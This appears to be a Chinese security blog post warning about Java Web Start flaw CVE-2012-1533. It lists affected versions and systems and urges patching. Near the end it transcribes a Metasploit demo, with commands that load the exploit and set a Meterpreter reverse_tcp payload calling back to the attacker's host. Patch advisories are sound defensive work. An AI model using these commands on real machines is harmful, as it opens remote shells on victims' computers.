2013年6月17日 星期一

國外已發佈攻擊程式,還不修 Java 嗎?(含影片示範)

國外已發佈攻擊程式,還不修 Java 嗎?(含影片示範)

發佈日期:2013/6/9(由 Rh0 發現)、2013/6/12(發佈概念驗證程式 PoC)

影響的 Java 版本:JSE 6 Update 35 (含之前的版本) 與 JSE 7 Update 7 (含之前的版本)

漏洞編號:CVE-2012-1533、OSVDB-86348、BID-56046

說明:
無可奈何的 Java 越修漏洞越多,直逼整個爛掉了!
而這次被影響的基本上知名常見的作業系統都涵蓋了,果如其名,真的漏洞可以跨平台了!

官方網站說明:
http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html

受影響的作業系統:
Apple Mac Os X Server 10.6.8 ~ 10.7
Red Hat Fedora 16 ~17
Red Hat Enterprise Linux 5 ~6
SUSE Linux Enterprise Server 10 SP4 ~ 11 SP2
Ubuntu Ubuntu Linux 10.04 ~12.04
Sun JDK (Linux Production Release) 1.6 ~ 1.7
Sun JDK (Solaris Production Release) 1.6 ~ 1.7
Sun JRE / JDK (Windows Production Release) 1.6 ~ 1.7

資料來源:http://www.securityfocus.com/bid/56046

解決方案:請盡速更新新版的修正程式。

影片內指令:
use exploit/windows/browser/java_ws_double_quote
set SRVHOST 192.168.178.36
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit
getuid
sysinfo

參考資料來源:
http://eromang.zataz.com/2013/06/16/cve-2012-1533-oracle-java-web-start-vulnerability-metasploit-demo/
http://pastebin.com/eUucVage


轉載自《網路攻防戰》

沒有留言:

張貼留言